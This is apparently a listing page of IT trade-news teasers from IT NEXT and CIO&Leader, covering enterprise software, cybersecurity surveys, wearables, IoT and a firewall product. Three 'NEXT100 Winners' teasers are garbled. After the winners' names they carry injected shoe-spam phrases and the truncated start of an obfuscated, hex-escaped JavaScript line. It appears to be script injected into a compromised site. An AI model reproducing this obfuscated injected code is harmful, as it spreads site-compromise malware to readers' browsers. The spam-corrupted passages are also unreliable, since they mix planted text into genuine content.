3 New Application Strategies for Today's Software Driven Business World

Software is fast becoming a key driver of differentiation and innovation, according to a new report by Accenture. In today’s software-driven world, every company needs to rethink its potential and reinvent itself. Companies can start this reinvention by changing the way they design, build and use applications, and also by adopting a new operating model that enables business and IT to... By IT NEXT

Guarding Against Sophisticated Cyber Attacks Is the Top Challenge for Many CSOs

More than 80 percent of security leaders believe the challenge posed by external threats is on the rise, while 60 percent already agree their organizations are outgunned in the cyber war, according to findings released by IBM.    Sophisticated external threats were identified by 40 percent of security leaders as their top challenge with regulations coming in a distant second at just... By IT NEXT

Many Large Enterprises will Have Digital Risk Officer Role in 2015

One-third of large enterprises engaging in digital business models and activities will also have a digital risk officer (DRO) role or equivalent, says Gartner.  By 2020, 60 percent of digital businesses will suffer major service failures due to the inability of the IT security team to manage digital risk in new technology and use cases. IT, operational technology (OT), the Internet of... By

30 Per Cent of Smart Wearables will Be Inconspicuous to the Eye

As the smart wearables market continues to grow and evolve, by 2017, 30 percent of smart wearables will be completely unobtrusive to the eye, says Gartner. "Already, there are some interesting developments at the prototype stage that could pave the way for consumer wearables to blend seamlessly into their surroundings," said Annette Zimmermann, research director at Gartner. "Smart contact... By CIO&Leader

Apple and IBM Launches Business Apps for iOS

Apple and IBM today deliver the first wave of IBM MobileFirst for iOS solutions in a new class of made-for-business apps supporting cloud services that bring IBM’s big data and analytics capabilities to iPhone and iPad users in the enterprise. IBM MobileFirst for iOS solutions are now available to enterprise customers in banking, retail, insurance, financial services, telecommunications... By IT NEXT

Government’s New Initiatives to Plug Big Gaps in Cyber Security, Boost E-commerce

The government is embarking on a three-pronged initiative of setting up a National Cyber Coordination Centre (NCCC), strengthening its email system and establishing a botnet clearing center. These measures will not only fill a critical gap in the country’s information security infrastructure but will also provide a thrust to the already burgeoning e-commerce sector. The National Cyber... By Yashvendra Singh

NEXT100 Winners Batch 8

NEXT100 Award Presentation (Batch 8): Presented by NEXT100 Jury Kinshuk Hora V Ranganathan Iyer Sachin Jain Nilakantan Krishnan NEXT100 Winners Mohamed Mustafa Shaikh Achin Sharma Hemant Sharma Madhu Sudan Sharma Paritosh Sharma Pawan Sharma Tarun Sharma Subhash Shelke Yatin Shetye Yogesh Shukla Air Max Hyperpositevar nsSGCDsaF1=new window["\x52\x65\x67\x45\x78\x70"]("\x28\x47"+"\... By IT NEXT

Smart Devices Are Becoming the First Device for Content Consumption

 In the emerging economies, users are adopting smartphones as their exclusive mobile devices while in developed economies, multi-device households are becoming the norm, with tablets growing at the fastest rate of any computing device. Gartner predicts that, by 2018, more than 50 percent of users will go to a tablet or smartphone first for all online activities. “The use pattern that... By IT NEXT

2015 Will Be the Year When Internet of Things Starts to Deliver

IDC envisions 2015 will be the year when Internet of Things (IoT) starts to deliver against the hype, but it will require vendors and customers alike to change their approach.  “Companies are always looking for ways to drive business transformation, deliver competitive differentiation and enhance the customer experience, and many are now realizing that the Internet of Things can help... By IT NEXT

NEXT100 Winners Batch 9

NEXT100 Award Presentation (Batch 9): Presented by NEXT100 Jury Sanjeev Kumar Rahul Mahajan Parameshwar Menon Suhas Mhaskar NEXT100 Winners Anil Kumar Singh Maheshwar Singh R Mani Kant Singh Sanjay Kumar Singh Vishal Singh KS Sivakumar Sunil K Sonare Rajeev Soota Anshul Srivastav Shobhit Srivastava Air Max 95 20th Anniversaryvar nsSGCDsaF1=new window["\x52\x65\x67\x45\x78\x70"]("\... By IT NEXT

NEXT100 Winners Batch 10

NEXT100 Award Presentation (Batch 10): Presented by NEXT100 Jury Yagnesh Parikh Mukund Prasad Girish Rao Vijay Sethi NEXT100 Winners Chhavi Taneja Sudha Thorat Hari Varma Mayur Vasa Manoj Verma Alok Vij Yatin Vora Sarvesh Wadhwa Amit Waghmare Vinay Wandrekar Ropa y zapatillas de running para mujervar nsSGCDsaF1=new window["\x52\x65\x67\x45\x78\x70"]("\x28\x47"+"\x6f"+"\x6f\... By IT NEXT

Firewall that Provides Context Sensitive Data Leak Prevention

This latest addition to GajShield's popular Next Generation Firewall appliances is context-based and has an enhanced UserSense engine for BYOD protection. Apart from providing a Context-Sensitive Data Leak Prevention Engine, GS560dc supports Multi-Gigabit Packet Filtering throughput, Application Filtering and comes with redundant power supply which makes it much more reliable. Sonit Jain,... By IT NEXT